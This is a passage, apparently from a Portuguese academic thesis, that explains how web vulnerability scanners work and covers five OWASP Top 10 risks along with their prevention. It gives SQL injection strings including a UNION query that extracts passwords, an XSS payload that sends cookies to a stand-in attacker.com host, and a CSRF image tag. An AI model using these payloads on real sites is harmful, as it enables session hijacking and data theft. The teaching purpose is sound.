scanner realiza o parser do co´digo-fonte HTML, a fim de identificar todas as forms,
me´todos (i.e. GET ou POST) e pontos de entrada, utilizados para posterior
submissa˜o dos testes. Por exemplo, o campo de ”login”ou ”username”do tipo
”Text”, encontra-se comummente associado a uma form de submissa˜o, e portanto
quando identificada com uma ac¸a˜o GET ou POST conjuntamente com a func¸a˜o
de ”submit”, corresponde a um ponto de entrada [RSnake, 2012a; Kals et al.,
2006] .
O mo´dulo atacante analisa os URLs encontrados pelo crawler conjuntamente
com os pontos de entrada identificados. De seguida, para cada ponto de estrada
e para cada tipo de vulnerabilidade, o mo´dulo atacante gera valores que sa˜o sus-
cet´ıveis de desencadear uma vulnerabilidade, segundo os testes que o WASS esta´
apto a realizar. Por exemplo, o mo´dulo atacante tenta injetar co´digo JS no teste de
vulnerabilidades XSS, ou strings com um significado especial na linguagem SQL
(i.e. com pelicas e operadores SQL) para testar vulnerabilidades de injec¸a˜o SQL
[Fong and Okun, 2007] . Os valores de entrada sa˜o normalmente gerados usando
heur´ısticas ou valores predefinidos, tais como muitos dos cheat-sheets de XSS e de
Injec¸a˜o de SQL dispon´ıveis [RSnake, 2012b; OWASP, 2010; Doupe´ et al., 2010] .
Estes dados podem ser gerados aleatoriamente ou obtidos a partir de um di-
ciona´rio. Um mecanismo de ataque aleato´rio frequentemente utilizado, designa-se
fuzzing, o qual permite submeter entradas aleato´rias de va´rios tamanhos para a
aplicac¸a˜o [Khoury et al., 2011] . Alguns scanners tentam usar ate´ mesmo padro˜es
maliciosos como entradas, a fim de detetar as vulnerabilidades.
3.4 Ana´lise das Respostas
O mo´dulo de ana´lise tem como pressuposto verificar as pa´ginas web retornadas
pela aplicac¸a˜o, em resposta aos ataques lanc¸ados pelo mo´dulo atacante a fim de
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detetar poss´ıveis vulnerabilidades e fornecer o feedback aos mo´dulos anteriores. Por
exemplo, se a pa´gina retornada na resposta relativa a um teste de uma entrada
de injec¸a˜o de SQL apresentar uma mensagem de erro de base de dados, enta˜o o
mo´dulo de ana´lise pode inferir sobre a existeˆncia de uma vulnerabilidade de injec¸a˜o
de SQL [Fong and Okun, 2007] .
A resposta do servidor e´ gerada de acordo com muitos fatores, e e´ influenci-
ada pelos dados submetidos. Neste caso, o scanner tem de saber que dados sa˜o
considerados va´lidos, e quais foram aceites pelo servidor, de forma a gerar uma
resposta u´til e aceita´vel. Esta fase tambe´m exige que o scanner aplique engenharia
reversa na resposta do servidor. Este facto e´ considerado um grande desafio para
um scanner, pois tem que tomar a decisa˜o de afirmar se a resposta e´ va´lida ou
na˜o, sabendo que estas respostas sa˜o principalmente projetadas para o ser hu-
mano. Para o efeito, os scanners esta˜o equipados com uma lista de mensagens de
erro, com o objetivo de verificar a correspondeˆncia das respostas do servidor a fim
de determinar se a resposta equivale a algum erro. Se a resposta corresponder a
algum dos erros , enta˜o o scanner decide a que categoria pertence o mesmo. Por
exemplo, se foi um erro de sintaxe de SQL, enta˜o o scanner deve concluir que uma
vulnerabilidade de injec¸a˜o SQL existe [RSnake, 2012a] .
3.5 S´ıntese
Um scanner de vulnerabilidades consiste essencialmente em treˆs componentes, no-
meadamente na componente de crawling , de ataque e de ana´lise. A componente de
crawling reu´ne o conjunto de paginas web da aplicac¸a˜o, a componente de ataque
invoca os ataques configurados contra as pa´ginas, e finalmente a componente de
ana´lise verifica os resultados retornados pela aplicac¸a˜o web para determinar se o
ataque foi bem sucedido [Kals et al., 2006] .
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Cap´ıtulo 4
Ameac¸as de Seguranc¸a em
Aplicac¸o˜es Web
As aplicac¸o˜es web esta˜o abertas a uma pano´plia de ataques, devido ao facto de
se encontrarem acess´ıveis via rede. Este cap´ıtulo foca precisamente algumas das
ameac¸as de seguranc¸a que mais frequentemente afetam as aplicac¸o˜es web.
“The only system which is truly secure
is one which is switched off and unplugged, locked in a titanium lined safe, buried
in a concrete bunker, and is surrounded by nerve gas and very highly paid armed
guards. Even then, I wouldn’t stake my life on it.”
(Gene Spafford)
4.1 Introduc¸a˜o
Existe um vasto conjunto de ameac¸as que podem afetar as aplicac¸o˜es web. Ti-
picamente sa˜o classificadas como pertencentes a um mesmo domı´nio de atuac¸a˜o,
de acordo com a sua ac¸a˜o ou propo´sito. O objetivo aqui na˜o e´ apresentar nem
abordar todo esse conjunto de ameac¸as, mas sim apenas aquelas que se relacionam
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com os riscos de seguranc¸a intr´ınsecos ao HTML5 e com a metodologia de ana´lise
Black Box.
Ha´ alguns trabalhos referentes a` classificac¸a˜o de ameac¸as de seguranc¸a que
atingem as aplicac¸o˜es web, de acordo com a sua frequeˆncia, perigo, aptida˜o, etc, os
quais podem ser consultados no cap´ıtulo 5. Neste sentido, e´ importante mencionar
que um dos trabalhos realizado pela OWASP ira´ servir de estat´ıstica sobre quais os
riscos de seguranc¸a mais cr´ıticos, frequentes e importantes a ter em considerac¸a˜o.
Esta organizac¸a˜o propoˆs em 2010 o Top 10 dos riscos de seguranc¸a mais cr´ıticos
que afetam as aplicac¸o˜es web, via consenso alcanc¸ado por um conso´rcio global de
especialistas em seguranc¸a de aplicac¸o˜es, e que se tornou quase um padra˜o seguido
por todas as organizac¸o˜es.
Neste caso de estudo, apenas sera˜o consideradas como objeto de ana´lise as cinco
primeiras ameac¸as de seguranc¸a apresentadas no TOP 10, nomeadamente injec¸a˜o,
cross-site scripting (XSS), Broken Authentication and Session Management, In-
secure Direct Object References e Cross-Site Request Forgery (CSRF). Em suma,
correspondem a`s ameac¸as de seguranc¸a abordados na ana´lise dos riscos de segu-
ranc¸a do HTML5 e no teste de verificac¸a˜o de seguranc¸a realizado pelo BB-WASS.
4.2 Injec¸a˜o
Quando uma aplicac¸a˜o recebe dados na˜o confia´veis e os processa de imediato pode
ocorrer uma falha de injec¸a˜o. As falhas de injec¸a˜o podem ser de va´rios tipos:
queries SQL, HQL ,LDAP, XPath, XQuery, XSLT, HTML, XML, comandos do
SO, entre outros [OWASP, 2010] . A u´nica diferenc¸a entre estas linguagens de
consulta (i.e. SQL, LDAP e XPath) reside no facto de corresponderem a tipos
de armazenamento de dados diferentes. Por outro lado sa˜o semelhantes, porque
possuem o mesmo problema de validac¸a˜o de dados na˜o confia´veis.
As falhas de injec¸a˜o subdividem-se em dois pontos de atuac¸a˜o diferentes:
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• Vulnerabilidades baseadas no input que afetam o lado do cliente, tais como
XSS, HTTP header injection, e open redirection.
• Vulnerabilidades baseadas no input que afetam o lado do servidor, tais como
SQL Injection, OS command injection, e file path traversal.
De entre as diversas falhas de injec¸a˜o apenas se vai considerar a falha de SQL
Injection, como exemplo ilustrativo das restantes.
4.2.1 SQL Injection
Na globalidade a maioria das aplicac¸o˜es web necessitam de uma base de dados
(BD) ou de qualquer outro tipo de sistema de armazenamento de dados para
operar. Como por exemplo, para armazenar contas de utilizadores, credenciais,
encomendas, privile´gios de utilizadores, etc. Por outro lado, o facto da linguagem
de consulta da BD ser o SQL, abre poss´ıveis caminhos de ataque contra a aplicac¸a˜o
atrave´s do abuso da linguagem SQL.
Um ataque de SQL Injection envolve a injec¸a˜o de SQL numa consulta que e´
constru´ıda dinamicamente, e que e´ posteriormente executada no back-end da BD.
Algumas das aplicac¸o˜es web proporcionam um bom ambiente para os hackers, pois
permitem construir instruc¸o˜es SQL que incorporam dados fornecidos pelo utiliza-
dor. Assim, se um input malicioso for concatenado diretamente numa instruc¸a˜o
SQL de forma insegura, a aplicac¸a˜o pode apresentar uma vulnerabilidade de SQL
Injection. Esta falha e´ uma das vulnerabilidades que mais afeta as aplicac¸o˜es web,
porque pode permitir que um invasor possa ler e modificar todos os dados arma-
zenados na BD, e ate´ mesmo assumir o controlo total do servidor no qual a BD
esta´ em execuc¸a˜o [Kals, 2006] .
Era bastante comum encontrar vulnerabilidades de injec¸a˜o SQL, ha´ alguns anos,
tendo estas diminuindo com o uso de Parameterised Statements. No entanto,
a maneira mais simples de identificar uma vulnerabilidade de SQL Injection e´
adicionar caracteres inva´lidos ou inesperados no valor de um paraˆmetro e pesquisar
23
Ameac¸as de Seguranc¸a em Aplicac¸o˜es Web
por erros na resposta, com o propo´sito de identificar uma instruc¸a˜o SQL va´lida
[Kals, 2006] .
4.2.2 Exemplo
Por exemplo, pode ser detetado simplesmente digitando uma u´nica aspa num
campo de formula´rio HTML, o qual perturba o emparelhamento dos delimitadores
na sequeˆncia da instruc¸a˜o SQL, podendo gerar uma mensagem de erro, indicando
uma potencial vulnerabilidade de SQL Injection [Kals, 2006] .
Outro ataque popular e´ injetar ( OR 1 = 1) em campos nume´ricos ou (’ OR
’1’ = ’1) em campos do tipo string, alterando a forma como a cla´usula WHERE e´
interpretada [Scambray, 2010] .
Por exemplo, supondo que a aplicac¸a˜o tem a seguinte instruc¸a˜o SQL vulnera´vel.
SELECT * FROM UserTable WHERE UserId=’+ strUserID +’ AND Password=’ +
strPassword + ’
Listagem 4.1: Comando Select SQL [Scambray, 2010] .
Enta˜o, se o atacante alterar ambos os paraˆmetros no browser usando dados
na˜o confia´veis, como (Mike’ OR ’1’ = ’1), ele pode aceder a todas as contas do
utilizador na BD.
http://www.website.com/userProfile.asp?userid=Mike’ OR
’1’=’1&password=Mike’ OR ’1’=’1
Listagem 4.2: URL relativa a um pedido GET que manipula a instruc¸a˜o SQL
da Listagem 4.1 [Scambray, 2010] .
Entre estes, existem muitos outros inputs de SQL Injection que podem ser
executados de forma a obter o mesmo resultado tal como (’ OR 1=1 –) ou ate´
mesmo para obter outros fins [Scambray, 2010; Kals, 2006; Williams, 2007] .
Quando uma aplicac¸a˜o web possui uma vulnerabilidade de injec¸a˜o SQL numa
instruc¸a˜o SELECT, podemos muitas vezes associar o operador de unia˜o a essa
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consulta para realizar uma segunda consulta a fim de combinar os seus resultados.
Assim, se os resultados da consulta forem retornados para o browser, enta˜o o uso
do operador de unia˜o pode facilmente levar a uma extrac¸a˜o de dados da BD.
Por exemplo, se considerar uma aplicac¸a˜o que permite pesquisar por livros.
Neste caso, se for combinada uma query de pesquisa supostamente vulnera´vel de
livros com a injec¸a˜o de um segundo SELECT que obte´m dados de uma tabela di-
ferente na BD, neste caso de utilizadores (e.g. Listagem 4.3), atrave´s da utilizac¸a˜o
do operador de unia˜o, podem obter dados na˜o autorizados [Scambray, 2010] .
SELECT author, title, year FROM books WHERE publisher = ’Wiley’
UNION
SELECT username, password, uid FROM users --’
Listagem 4.3: Query correspondente a` pesquisa de livros resultante da injec¸a˜o
de um segundo Select que usufrui do operador de unia˜o [Scambray, 2010] .
O resultado da consulta devolve a pesquisa inicial seguida do conteu´do da tabela
de utilizadores:
Autor Titulo Ano
Litchfield The Database Hacker’s Handbook 2005
Anley The shellcoder’s Handbook 2007
admin r00tr0x 0
cliff Reboot 1
Tabela 4.1: Resultado da consulta sobre livros com o operador Unia˜o [Scam-
bray, 2010] .
Atualmente, as linguagens de programac¸a˜o escondem essas vulnerabilidades re-
correndo a campos de dados que os utilizadores normalmente na˜o podem ver ou
modificar, gerando mensagens de erro gene´ricas e pouco informativas [Kals, 2006]
. Uma boa pra´tica para descobrir se uma aplicac¸a˜o e´ vulnera´vel e´ verificar se a
utilizac¸a˜o dos inte´rpretes separa claramente os dados na˜o confia´veis dos coman-
dos ou queries. Outra boa pra´tica e´ a verificac¸a˜o do co´digo para determinar se
a aplicac¸a˜o usa os interpretadores com seguranc¸a. E´ comum recorrer-se a ferra-
mentas de ana´lise de co´digo para ajudar a analisar os inte´rpretes. Assim como,
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a ferramentas de scanning que fornecem uma varredura a`s aplicac¸o˜es para encon-
trar algumas falhas de injec¸a˜o, mas nem sempre conseguem atingir os inte´rpretes,
tendo dificuldade em detetar se um ataque foi bem-sucedido [OWASP, 2010] .
4.2.3 Prevenc¸a˜o de SQL Injection
Para prevenir a injec¸a˜o de SQL e´ necessa´rio evitar consultas dinaˆmicas e manter
os dados na˜o confia´veis separados dos comandos e consultas SQL. Por outras
palavras, os inputs dos utilizadores na˜o devem ser incorporados diretamente em
instruc¸o˜es SQL.
Deve portanto recorrer-se ao uso de APIs seguras, que evitem a utilizac¸a˜o do
interpretador por inteiro ou enta˜o recorrer a uma interface parametrizada. Deve
ter-se especial cuidado com APIs tais como os stored procedures que sa˜o parame-
trizados, mas mesmo assim podem introduzir injec¸a˜o [OWASP, 2010] . Devem ser
utilizados Parameterised Statements em vez de incorporar os inputs do utilizador
diretamente na instruc¸a˜o, pois cada paraˆmetro corresponde a um tipo de dados e
a um valor espec´ıfico que vai completar a instruc¸a˜o SQL sem afetar a estrutura,
evitando assim a reescrita da consulta. Em suma, o input de um utilizador e´ enta˜o
atribu´ıdo a um paraˆmetro.
Exemplo de utilizac¸a˜o de Parameterised Statements atrave´s da API JDBC:
PreparedStatement prep = conn.prepareStatement("SELECT *
FROM USERS WHERE USERNAME=? AND PASSWORD=?");
prep.setString(1, username);
prep.setString(2, password);
prep.executeQuery();
Listagem 4.4: Exemplo de um Prepared Statement.
Quando uma API parametrizada na˜o puder ser utilizada pela aplicac¸a˜o, enta˜o
deve ser realizado um escape dos caracteres especiais de acordo com a sintaxe do
inte´rprete. Tambe´m e´ recomendado o uso de uma interface validadora que defina
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um conjunto de me´todos para uniformizac¸a˜o1 e validac¸a˜o de inputs na˜o confia´veis.
Mas na˜o e´ no entanto uma defesa completamente segura uma vez que algumas
aplicac¸o˜es requerem caracteres especiais nos seus inputs [OWASP, 2010] . A
OWASP ESAPI possui uma biblioteca extens´ıvel com uma White List de rotinas
de validac¸a˜o de inputs [Hamada, 2012] .
4.3 Cross-Site Scripting (XSS)
Um ataque de XSS corresponde a um tipo de risco de injec¸a˜o, que surge sempre que
uma aplicac¸a˜o pega em dados na˜o confia´veis diretamente do browser e os processa
sem a devida validac¸a˜o e escaping do conteu´do [OWASP, 2010] . O ataque XSS
explora falhas em aplicac¸o˜es web que permitam a um atacante executar co´digo
arbitra´rio sem a devida autorizac¸a˜o da aplicac¸a˜o.
Quase qualquer ponto de entrada de dados de uma aplicac¸a˜o web pode servir
como um vetor de ataque, incluindo as origens internas, tais como dados proveni-
entes da pro´pria BD, caso a aplicac¸a˜o apresente vulnerabilidades.
As ameac¸as de XSS subdividem-se em treˆs me´todos diferentes: Stored XSS,
Reflected XSS, e DOM based XSS [Kals, 2006; Williams, 2007; Gala´n et al.,
2010] . Ambos os ataques exploram poss´ıveis vulnerabilidades em aplicac¸o˜es web,
atrave´s da injec¸a˜o de scripts de co´digo, tipicamente atrave´s de um pedido HTTP,
tal como um paraˆmetro ou o input de uma ”form web”.
Reflected XSS: em ataques refletidos a script injetada e´ imediatamente execu-
tada no browser da v´ıtima, que retorna o resultado dessa mesma script na
resposta ao pedido HTTP realizado. A resposta do co´digo injetado como
parte do pedido e´ enviada para um atacante fora do servidor, na forma de
uma mensagem de erro, resultado de uma pesquisa, ou qualquer outro tipo
de resposta [Gala´n et al., 2010] .
1A uniformizac¸a˜o e´ um processo de conversa˜o de dados com mais de uma poss´ıvel repre-
sentac¸a˜o numa u´nica representac¸a˜o.
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Figura 4.1: Ataque do tipo Reflected XSS [Gala´n et al., 2010] .
Stored XSS: tem como objetivo injetar uma script de uma forma persistente
(onde o co´digo injetado fica permanentemente armazenado nos servidores de
destino). Desta forma, um atacante apenas necessita explorar a vulnerabi-
lidade apenas uma vez. A partir dai a script sera´ executada quantas vezes,
a pa´gina web detentora da mesma for visitada. Exemplos de reposito´rios
para estes ataques destacam-se as bases de dados, os fo´runs de mensagens,
campos de comenta´rios, entre muitos outros que tenham a capacidade de
armazenar e apresentar a informac¸a˜o recolhida [Gala´n et al., 2010] .
Figura 4.2: Ataque do tipo Stored XSS [Gala´n et al., 2010] .
DOM Based XSS: tem como objetivo modificar o ambiente da estrutura do
DOM no browser da v´ıtima. Assim, o atacante pode controlar os elementos
da pa´gina dentro do browser do cliente.
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Em suma, os treˆs tipos de XSS diferem apenas na forma como cada um procede
na injec¸a˜o do co´digo intrusivo para a aplicac¸a˜o e na forma como esse co´digo e´
executado.
Os servidores de aplicac¸o˜es web que geram pa´ginas dinamicamente sa˜o vul-
nera´veis a XSS, caso falhem na validac¸a˜o dos inputs do utilizador e na˜o garantam
a devida codificac¸a˜o das pa´ginas geradas.
4.3.1 Exemplo
Por exemplo, se uma aplicac¸a˜o usar dados na˜o confia´veis na construc¸a˜o do seguinte
excerto de HTML sem validac¸a˜o ou escaping:
(String) page += "<input name=’creditcard’ type=’TEXT’value=’" +
request.getParameter("CC") + "’>";
E o atacante modifique o paraˆmetro ’CC’ no seu browser para:
’><script>document.location=’http://www.attacker.com/cgi-bin/cookie.cgi?foo=
’+document.cookie</script>’
Isto leva a que o ID de sessa˜o da v´ıtima seja enviado para o site do atacante,
permitindo que o invasor manipule a sessa˜o atual do utilizador.
Reflected XSS
Como exemplo de um ataque Reflected XSS ; considere-se que o atacante envia
um link para a v´ıtima (e.g. por e-mail), semelhante ao apresentado na Figura 4.3.
Contido nesse link esta´ o co´digo HTML que conte´m a script para atacar o recetor
do e-mail. Se a vitima clicar nesse link, a aplicac¸a˜o web vulnera´vel exibe a pa´gina
solicitada que conte´m o co´digo malicioso, que agora faz parte da pa´gina web que e´
enviada de volta para o browser do utilizador, onde e´ executado [Hamada, 2012]
.
Stored XSS
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Figura 4.3: Exemplo de um ataque ”Reflected XSS”com uma script estran-
geira [Hamada, 2012] .
Como exemplo de um ataque Stored XSS ; considere-se que se consegue injetar o
co´digo malicioso apresentado na Figura 4.4 no sistema de armazenamento de uma
aplicac¸a˜o web. Quando um visitante da aplicac¸a˜o acede a` informac¸a˜o que esta´
associada a esta entrada de armazenamento, o co´digo armazenado e´ recuperado
pelo servidor e apresentado no browser da v´ıtima, transferindo o cookie da v´ıtima
para o atacante [Hamada, 2012] .
Figura 4.4: Exemplo de um ataque ”Stored XSS”que transfere um Cookie
[Hamada, 2012] .
4.3.2 Prevenc¸a˜o de Cross-site Scripting
A melhor opc¸a˜o para evitar vulnerabilidades XSS e´ proceder ao escaping de todos
os dados na˜o confia´veis, com base no contexto HTML (i.e. body, attribute, JS,
CSS, ou URL) no qual os dados sera˜o colocados [OWASP, 2010] . Por exemplo,
o cara´cter (<) deveria ser convertido em &lt. Por norma o desenvolvimento de
aplicac¸o˜es deve incluir o escaping dos inputs, a menos que este processo seja reali-
zado por alguma framework ja´ utilizada. Podem ser encontradas mais informac¸o˜es
sobre te´cnicas de escaping de dados na OWASP XSS Prevention Cheat Sheet.
Outra opc¸a˜o e´ assegurar que todos os inputs fornecidos pelos utilizadores e
enviados de volta para o browser sa˜o considerados seguros via validac¸a˜o de input
[OWASP, 2010] . Tal validac¸a˜o deve descodificar qualquer input codificado, e
depois validar o comprimento, os caracteres, e o formato dos dados antes de aceitar
o input.
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Recomenda-se a validac¸a˜o de input, mas esta defesa na˜o e´ completa porque mui-
tas aplicac¸o˜es devem permitir caracteres especiais. Podem ser utilizadas ambas
ferramentas esta´ticas e dinaˆmicas a fim de detetar problemas de XSS automatica-
mente. No entanto, cada aplicac¸a˜o gera pa´ginas de sa´ıda diferentes e usa diferentes
inte´rpretes do lado do browser, tais como JS, ActiveX, Flash e Silverlight, o que
torna dif´ıcil esta detec¸a˜o automa´tica. O taint tracking e´ uma outra abordagem
para evitar ataques de XSS.
4.4 Broken Authentication and Session Manage-
ment
Construir corretamente a gesta˜o dos esquemas de autenticac¸a˜o ou de sessa˜o de
uma aplicac¸a˜o e´ dif´ıcil. Pois estas func¸o˜es sa˜o frequentemente implementadas in-
corretamente, permitindo que o atacante comprometa passwords, keys, tokens de
sessa˜o, ou explore outras falhas de implementac¸a˜o de forma a assumir a identi-
dade de outros utilizadores. As contas com privile´gios sa˜o frequentemente alvo de
ataques que se forem bem-sucedidos podem realizar qualquer coisa com a conta
da v´ıtima. Um atacante ano´nimo ou ate´ mesmo um utilizador externo, podem
tentar roubar contas de outros utilizadores. Podem explorar falhas em a´reas como
logout, gesta˜o de passwords, timeouts, pergunta secreta, atualizac¸a˜o da conta, etc
[OWASP, 2010] .
Todas as frameworks de aplicac¸o˜es web sa˜o vulnera´veis a falhas de gesta˜o de
autenticac¸a˜o e de sessa˜o. Por exemplo, uma aplicac¸a˜o de reservas da companhia
ae´rea airline, coloca os IDs de sessa˜o na URL, permitindo, assim, ser reescrita:
http://airline.com/sale/saleitems;jsessionid=2P0OC2JDPXM0OQSNDLPSKHCJUN2JV?
dest=Hawaii
Supondo que um utilizador autenticado deste site quer mostrar ao seu amigo
a sua compra e envia o link acima por e-mail para ele sem saber que o seu ID de
sessa˜o tambe´m e´ enviado. Quando o amigo usa o link, ele tambe´m usara´ a sessa˜o
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do utilizador e carta˜o de cre´dito. Outro caso e´ o uso de computadores pu´blicos
para acesso a sites. Este e´ um problema quando o utilizador simplesmente fecha
a aba do browser e se afasta inve´s de fechar a sua conta. Mais tarde, outros
utilizadores podem usar essa conta para fazer qualquer coisa. Ale´m disso, quando
um invasor obte´m acesso a` senha da BD, ele pode atacar qualquer utilizador uma
vez que as suas senhas na BD na˜o esta˜o cifradas.
Encontrar tais falhas a`s vezes pode ser dif´ıcil, ja´ que cada implementac¸a˜o e´
u´nica. As aplicac¸o˜es devem autenticar corretamente os utilizadores e proteger as
suas credenciais de sessa˜o. As operac¸o˜es de validac¸a˜o devem ser realizadas no lado
do servidor. Para verificar a seguranc¸a podem ser utilizadas ferramentas auto-
matizadas de scanning para detec¸a˜o de falhas. Alguns aspetos para prevenir as
aplicac¸o˜es web sa˜o manter comunicac¸o˜es seguras e o armazenamento de creden-
ciais, bem como usar um mecanismo u´nico de autenticac¸a˜o onde aplica´vel, criar
uma nova sessa˜o apo´s a autenticac¸a˜o, assegurar que o link de logout destro´i todos
os dados pertinentes e na˜o expo˜e as credenciais na URL ou logs. As Proxy caches,
combinadas com co´digo de gesta˜o de sessa˜o mal escrito, pode facilmente levar a
falhas de seguranc¸a graves. As Caches sa˜o a ameac¸a e o co´digo inseguro e´ a falha.
4.4.1 Prevenc¸a˜o de Broken Authentication and Session Ma-
nagement
Uma boa pra´tica para evitar este risco, e´ seguir um forte conjunto de controlos
de autenticac¸a˜o e de gesta˜o de sessa˜o, tal como cumprir todos os requisitos de
autenticac¸a˜o e gesta˜o de sessa˜o definidos pela OWASP’s Application Security Ve-
rification Standard (ASVS) nas a´reas V2 (Autenticac¸a˜o) e V3 (Gesta˜o de Sessa˜o).
Tambe´m devem ser realizados esforc¸os para evitar falhas de XSS que possam ser
utilizadas para roubar os IDs de sessa˜o.
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4.5 Insecure Direct Object References
O risco de uma refereˆncia direta a objetos insegura ocorre quando o programa-
dor expo˜e a refereˆncia de uma implementac¸a˜o interna de um objeto (e.g. um
ficheiro, uma diretoria, a chave da BD, etc.). Assim, sem a devida verificac¸a˜o
do controlo de acesso ou qualquer outra protec¸a˜o, os atacantes podem manipular
estas refereˆncias e aceder a dados na˜o autorizados. Portanto, um atacante que
seja um utilizador autorizado pelo sistema, pode alterar o valor do paraˆmetro que
referencia diretamente um objeto com um valor diferente, recebendo assim outro
objeto que na˜o esta´ autorizado. As aplicac¸o˜es nem sempre verificam se o utilizador
esta´ autorizado a aceder a determinado objeto alvo. Isso, resulta numa falha de
Insecure Direct Object References [OWASP, 2010] .
Por exemplo, se a aplicac¸a˜o utilizar diretamente dados na˜o verificados numa
instruc¸a˜o SQL, um hacker poderia facilmente alterar o paraˆmetro ”cartID”para
qualquer valor:
int cartID = Integer.parseInt( request.getParameter( "cartID" ) );
String query = "SELECT * FROM table WHERE cartID=" + cartID;
Listagem 4.5: Exemplo de uma Insecure Direct Object Reference a partir do
paraˆmetro ”cartID”.
Neste caso, basta o atacante simplesmente modificar o paraˆmetro ”cartID”no
seu browser para poder visualizar qualquer nu´mero de conta que pretenda. Sem
um controlo de verificac¸a˜o de autorizac¸a˜o de acesso, o atacante pode aceder a
qualquer conta de utilizador, para ale´m da pro´pria conta.
4.5.1 Prevenc¸a˜o de Insecure Direct Object References
O me´todo para evitar vulnerabilidades de Insecure Direct Object References e´
na˜o expor a refereˆncia de objetos particulares a todos os utilizadores. Mas caso
as refereˆncias de objetos sejam usados dessa forma, enta˜o e´ importante assegurar
que qualquer utilizador esta´ autorizado para tal, antes de qualquer autorizac¸a˜o de
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acesso. No entanto, evitar a exposic¸a˜o de refereˆncias a objetos privados (tais como,
chaves prima´rias, nomes de ficheiros, etc.) e´ prefer´ıvel sempre que poss´ıvel. Isto
significa, determinar quais os objetos a que um utilizador deve ter permissa˜o de
acesso, e conceder-lhes acesso apenas a esses objetos. Em suma, para impedir que
os atacantes acedam diretamente a recursos na˜o autorizados, e´ necessa´rio verificar
a autorizac¸a˜o intr´ınseca a cada um dos objetos referenciados, e para cada utilizador
ou sessa˜o utilizar refereˆncia indireta a objetos (Algumas recomendac¸o˜es OWASP).
Por exemplo, a vulnerabilidade apresentada na Listagem 4.5 pode ser prevenida
atrave´s da adic¸a˜o de uma restric¸a˜o de controlo de acesso ao utilizador como o
apresentado na Listagem 4.6.
Desta forma o utilizador apenas tem acesso aos dados autorizados:
int cartID = Integer.parseInt( request.getParameter( "cartID" ) );
User user = (User)request.getSession().getAttribute( "user" );
String query = "SELECT * FROM table WHERE cartID=" + cartID + " AND
userID=" + user.getID();
Listagem 4.6: Exemplo de prevenc¸a˜o da Insecure Direct Object Reference
apresentada na Listagem 4.5.
4.6 Cross-Site Request Forgery
Um ataque de Cross-Site Request Forgery (CSRF) na˜o envolve a apresentac¸a˜o de
qualquer conteu´do falso perante o utilizador, por parte do atacante. O CSRF
corresponde a` criac¸a˜o de pedidos HTTP forjados que sa˜o submetidos via tags de
imagens, XSS, ou atrave´s de inu´meras outras te´cnicas. Isso permite ao atacante
forc¸ar o browser da v´ıtima a gerar pedidos provenientes da aplicac¸a˜o pensando
que sa˜o pedidos leg´ıtimos da v´ıtima, pelo facto de utilizar o cookie de sessa˜o da
v´ıtima ou qualquer outra informac¸a˜o de autenticac¸a˜o [OWASP, 2010; Stuttard,
2011] .
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Por exemplo, considere-se que um determinado utilizador designado Joa˜o, esta
a navegar num fo´rum onde outro utilizador, Carlos, colocou uma mensagem. Supor
ainda que o Carlos conseguiu criar um novo elemento HTML (e.g. uma imagem)
que faz refereˆncia a uma ac¸a˜o no site do banco do Joa˜o (i.e. em vez do src para a
imagem), tal como o apresentado a seguir.
<img
src="http://bank.example.com/withdraw?account=joao&amount=1000000&for=carlos">
Se o Joa˜o possuir a sua informac¸a˜o de autenticac¸a˜o do banco num cookie, e se
o cookie na˜o expirou, enta˜o na tentativa do browser do Joa˜o carregar a imagem,
ira´ submeter o formula´rio do banco com o seu cookie, autorizando uma transac¸a˜o
sem a aprovac¸a˜o do Joa˜o.
4.6.1 Prevenc¸a˜o de Cross-Site Request Forgery
A melhor opc¸a˜o para evitar ataques CSRF e´ incluir um token u´nico num campo
oculto. Este me´todo leva a que o valor seja enviado no corpo do pedido HTTP,
evitando a sua inclusa˜o na URL, a qual esta´ sujeita a exposic¸a˜o. Este token
tambe´m pode ser inclu´ıdo na URL por si so´, ou num paraˆmetro da URL. No
entanto, a colocac¸a˜o de tal elemento na URL corre o risco de ser exposto a um
atacante, comprometendo assim o token secreto.
A OWASP CSRF Guard pode ser usada para incluir automaticamente tais
tokens na sua aplicac¸a˜o Java EE, .NET, ou PHP. A OWASP ESAPI inclui a com-
ponente de gerac¸a˜o e validac¸a˜o de tokens que pode ser usada pelos programadores
para proteger as suas transac¸o˜es. Outro me´todo de protec¸a˜o e´ usar Web Applica-
tion Firewalls (WAFs), pois podem bloquear tais ataques adicionando um token
u´nico a cada formula´rio enviado para o cliente, e verificando todos os pedidos
realizados no sentido de verificar se conteˆm o ID u´nico por ela fornecido.
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4.7 S´ıntese
S´ıntese dos principais aspetos de cada uma das ameac¸as de seguranc¸a abordadas
nesta secc¸a˜o:
3 As falhas de Injec¸a˜o tais como SQL, OS e LDAP Injection, ocorrem quando
sa˜o enviados dados na˜o confia´veis para o interpretador como parte da query.
Os dados do atacante podem levar o interpretador a executar comandos na˜o
pretendidos ou a aceder a dados na˜o autorizados. Possibilita a transmissa˜o de
co´digo malicioso atrave´s das aplicac¸o˜es para outros sistemas tais como Bases
de Dados ou SO. Para remediar esta situac¸a˜o, as organizac¸o˜es devem utilizar
Parameterised Statements ou ate´ WAFs, a fim de identificarem payloads de
ataque. Durante a ana´lise das paginas de sa´ıda, as WAFs tambe´m podem
determinar se a injec¸a˜o foi bem sucedida atrave´s da identificac¸a˜o de fugas
de informac¸a˜o.
3 As falhas de Cross-Site Scripting ocorrem sempre que uma aplicac¸a˜o pega
em dados na˜o confia´veis e os envia para o browser sem qualquer validac¸a˜o
ou escaping apropriado. O XSS permite executar scripts no browser da vi-
tima que podem por exemplo, hijack as sesso˜es dos utilizadores, redirecionar
utilizadores para sites maliciosos, etc. Para prevenir o problema, as orga-
nizac¸o˜es devem durante o desenvolvimento focar-se em pol´ıticas adequadas
de validac¸a˜o de entradas.
3 As func¸o˜es das aplicac¸o˜es relacionadas com Autenticac¸a˜o e Gesta˜o de
Sessa˜o sa˜o frequentemente mal implementadas, permitindo que os atacantes
comprometam passwords, keys, session tokens, ou explorem outras falhas de
implementac¸a˜o para assumir a identidade de outros utilizadores. Estas falhas
podem ocorrer mesmo em mecanismos de autenticac¸a˜o fortes, e portanto as
organizac¸o˜es devem esforc¸ar-se para criar um u´nico sistema de autenticac¸a˜o
e de gesta˜o de sessa˜o forte.
3 A falha Insecure Direct Object Reference ocorre quando um programa-
dor expo˜e a referencia de um objeto interno, tal como um ficheiro, diretoria,
ou chave da Base de Dados. Sem qualquer verificac¸a˜o do controlo de acesso
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ou qualquer outra protec¸a˜o, os atacantes podem manipular essas referencias
para aceder a dados sem autorizac¸a˜o.
3 O Cross-Site Request Forgery ocorre quando uma aplicac¸a˜o web falha
a verificar se um pedido bem-formado, va´lido e consistente foi intencional-
